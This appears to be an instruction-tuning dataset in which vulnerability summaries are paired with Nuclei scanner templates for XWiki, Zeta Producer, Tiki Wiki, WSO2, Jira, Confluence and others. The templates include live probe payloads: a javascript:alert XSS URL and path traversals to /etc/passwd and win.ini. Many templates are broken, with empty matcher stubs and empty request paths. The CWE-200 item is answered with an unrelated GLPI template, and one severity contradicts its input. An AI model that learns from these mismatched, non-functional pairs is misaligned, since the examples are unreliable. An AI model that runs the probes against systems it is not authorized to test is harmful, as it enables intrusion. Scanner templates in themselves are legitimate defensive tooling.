Instruction: Generate a Nuclei template for: Sentinel License Monitor - Detect

Input:
Title: Sentinel License Monitor - Detect
Summary: Sentinel License Monitor - Detect. Tags: misconfig, sentinel, license
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: sentinel-license-monitor

info:
  name: Sentinel License Monitor - Detect
  author: DhiyaneshDk
  severity: info
  description: Sentinel License Monitor - Detect
  tags: misconfig,sentinel,license,monitor,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/keyinfo.html"
    matchers:
      - type: word
        words:
          - "Sentinel License Monitor"
          - "Licenses-in-use"
        part: body
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2022-24819

Input:
Title: Vulnerability (CWE-359) in xwiki xwiki
Summary: XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. A guest user without the right to view pages of the wiki can still list documents related to users of the wiki. The problem has been patched in XWiki versions 12.10.11, 13.4.4, and 13.9-rc-1. There is no known workaround for this problem.
Vulnerability Type: Vulnerability (CWE-359)
Severity: medium
Affected Products: xwiki xwiki
Indicators: error, vulnerability detected

Output:
id: CVE-2022-24819

info:
  name: XWiki < 12.10.11, 13.4.4 & 13.9-rc-1 - Information Disclosure
  author: ritikchaddha
  severity: medium
  description: An unauthenticated user can retrieve a list of users and their full names through a publicly accessible URL in XWiki. The issue affects versions before 12.10.11, 13.4.4, and 13.9-rc-1.
  tags: cve,cve2022,xwiki,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/bin/login/XWikiLogin?xpage=uorgsuggest&uorg=user&wiki=&media=json"
      - "{{BaseURL}}/xwiki/bin/login/XWikiLogin?xpage=uorgsuggest&uorg=user&wiki=&media=json"
    matchers:
      - type: dsl
        condition: or
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for CVE-2023-35162

Input:
Title: Cross-Site Scripting (XSS) in xwiki xwiki
Summary: XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Users are able to forge an URL with a payload allowing to inject Javascript in the page (XSS). It's possible to exploit the previewactions template to perform a XSS, e.g. by using URL such as: > <hostname>/xwiki/bin/get/FlamingoThemes/Cerulean xpage=xpart&vm=previewactions.vm&xcontinue=javascript:alert(document.domain). This vulnerability exists since XWiki 6.1-rc-1. The vulnerability has been patched in XWiki 14.10.5 and 15.1-rc-1.
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: critical
Affected Products: xwiki xwiki
Indicators: error, vulnerability detected

Output:
id: CVE-2023-35162

info:
  name: XWiki < 14.10.5 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: XWiki Platform is vulnerable to reflected XSS via the previewactions template. An attacker can inject JavaScript through the xcontinue parameter.
  tags: cve,cve2023,xwiki,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/xwiki/bin/get/FlamingoThemes/Cerulean?xpage=xpart&vm=previewactions.vm&xcontinue=javascript:alert(document.domain)"
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for: 3ware Controller 3DM2 - Default Login

Input:
Title: 3ware Controller 3DM2 - Default Login
Summary: 3ware Controller 3DM2 - Default Login. The default password for logging in to the 3DM2 web interface of a 3ware controller is "3ware" for both the Administrator and User accounts.

Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: 3ware-default-login

info:
  name: 3ware Controller 3DM2 - Default Login
  author: ritikchaddha
  severity: high
  description: The default password for logging in to the 3DM2 web interface of a 3ware controller is "3ware" for both the Administrator and User accounts.
  tags: default-login,3ware,3dm2,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "now logged in"
        part: body
      - type: word
        words:
          - "TDMUSER="
        part: set_cookie
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: glpi-project_glpi

info:
  name: GLPI Panel - Detect
  author: dogasantos,daffainfo,ricardomaia,dhiyaneshDk
  severity: info
  description: GLPI panel was detected.
  tags: glpi,edb,panel,glpi-project,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
      - "{{BaseURL}}/CHANGELOG.md"
      - "{{BaseURL}}/glpi/"
    matchers:
      - type: word
        words:
          - "GLPI"
          - "glpi-project.org"
        condition: and


Instruction: Generate a Nuclei template for CVE-2018-13980

Input:
Title: Path Traversal in zeta-producer zeta_producer
Summary: The websites that were built from Zeta Producer Desktop CMS before 14.2.1 are vulnerable to unauthenticated file disclosure if the plugin "filebrowser" is installed, because of assets/php/filebrowser/filebrowser.main.php?file=../ directory traversal.
Vulnerability Type: Path Traversal
Severity: medium
Affected Products: zeta-producer zeta_producer
Indicators: error, vulnerability detected

Output:
id: CVE-2018-13980

info:
  name: Zeta Producer Desktop CMS <14.2.1 - Local File Inclusion
  author: wisnupramoedya
  severity: medium
  description: Zeta Producer Desktop CMS before 14.2.1 is vulnerable to local file inclusion if the plugin "filebrowser" is installed because of assets/php/filebrowser/filebrowser.main.php?file=../ directory traversal.
  tags: cve2018,cve,lfi,edb,packetstorm,zeta-producer,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/assets/php/filebrowser/filebrowser.main.php?file=../../../../../../../../../../etc/passwd&do=download"
    matchers:
      - type: regex
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Jira Unauthenticated Dashboards

Input:
Title: Jira Unauthenticated Dashboards
Summary: Jira Unauthenticated Dashboards. Tags: atlassian, jira, vuln
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: jira-unauthenticated-dashboards

info:
  name: Jira Unauthenticated Dashboards
  author: TechbrunchFR
  severity: info
  description: Jira Unauthenticated Dashboards
  tags: atlassian,jira,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/rest/api/2/dashboard?maxResults=100"
    matchers:
      - type: word
        words:
          - "dashboards"
          - "startAt"
          - "maxResults"
        condition: and


Instruction: Generate a Nuclei template for CVE-2022-29464

Input:
Title: Path Traversal in wso2 api_manager and others
Summary: Certain WSO2 products allow unrestricted file upload with resultant remote code execution. The attacker must use a /fileupload endpoint with a Content-Disposition directory traversal sequence to reach a directory under the web root, such as a ../../../../repository/deployment/server/webapps directory. This affects WSO2 API Manager 2.2.0 up to 4.0.0, WSO2 Identity Server 5.2.0 up to 5.11.0, WSO2 Identity Server Analytics 5.4.0, 5.4.1, 5.5.0 and 5.6.0, WSO2 Identity Server as Key Manager 5.3.0 up to 5.11.0, WSO2 Enterprise Integrator 6.2.0 up to 6.6.0, WSO2 Open Banking AM 1.4.0 up to 2.0.0 and WSO2 Open Banking KM 1.4.0, up to 2.0.0.
Vulnerability Type: Path Traversal
Severity: critical
Affected Products: wso2 api_manager, wso2 enterprise_integrator, wso2 identity_server
Indicators: error, vulnerability detected

Output:
id: CVE-2022-29464

info:
  name: WSO2 Management - Arbitrary File Upload & Remote Code Execution
  author: luci,dhiyaneshDk
  severity: critical
  description: Certain WSO2 products allow unrestricted file upload with resultant remote code execution. This affects WSO2 API Manager 2.2.0 and above through 4.0.0; WSO2 Identity Server 5.2.0 and above through 5.11.0; WSO2 Identity Server Analytics 5.4.0, 5.4.1, 5.5.0, and 5.6.0; WSO2 Identity Server as Key Manager 5.3.0 and above through 5.10.0; and WSO2 Enterprise Integrator 6.2.0 and above through 6.6.0.
  tags: cve,cve2022,rce,fileupload,wso2,intrusive,kev,vkev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl


Instruction: Generate a Nuclei template for: Confluence Dashboard Exposed

Input:
Title: Confluence Dashboard Exposed
Summary: Confluence Dashboard Exposed. Confluence Dashboard is exposed.
Vulnerability Type: Security Check
Severity: low
Indicators: vulnerability detected

Output:
id: confluence-dashboard

info:
  name: Confluence Dashboard Exposed
  author: tess
  severity: low
  description: Confluence Dashboard is exposed.
  tags: misconfig,exposure,confluence,atlassian,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "Dashboard - Confluence"
          - "title="Spaces">"
          - "Atlassian Confluence"
        part: body
        condition: and
      - type: word
        words:
          - "text/html"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2010-4239

Input:
Title: Vulnerability (CWE-20) in tiki tikiwiki_cms\/groupware
Summary: Tiki Wiki CMS Groupware 5.2 has Local File Inclusion
Vulnerability Type: Vulnerability (CWE-20)
Severity: critical
Affected Products: tiki tikiwiki_cms\/groupware
Indicators: error, vulnerability detected

Output:
id: CVE-2010-4239

info:
  name: Tiki Wiki CMS Groupware 5.2 - Local File Inclusion
  author: 0x_akoko
  severity: critical
  description: Tiki Wiki CMS Groupware 5.2 is susceptible to a local file inclusion vulnerability.
  tags: cve,cve2010,tikiwiki,lfi,tiki,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/tiki-jsplugin.php?plugin=x&language=../../../../../../../../../../windows/win.ini"
    matchers:
      - type: word
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        part: body
        condition: and


Instruction: Generate a Nuclei template for: Azure Monitor Diagnostic Settings for Subscription Activity Log Export Check

Input:
Title: Azure Monitor Diagnostic Settings for Subscription Activity Log Export Check
Summary: Azure Monitor Diagnostic Settings for Subscription Activity Log Export Check. Ensure that Azure Monitor Diagnostic Settings are configured to export activity logs for the selected Microsoft Azure subscription. This helps in maintaining a record of all operational actions which are crucial for security and operational auditing.

Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: azure-monitor-diagnostic-unrestricted

info:
  name: Azure Monitor Diagnostic Settings for Subscription Activity Log Export Check
  author: princechaddha
  severity: medium
  description: Ensure that Azure Monitor Diagnostic Settings are configured to export activity logs for the selected Microsoft Azure subscription. This helps in maintaining a record of all operational actions which are crucial for security and operational auditing.
  tags: cloud,devops,azure,microsoft,monitor,azure-cloud-config

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200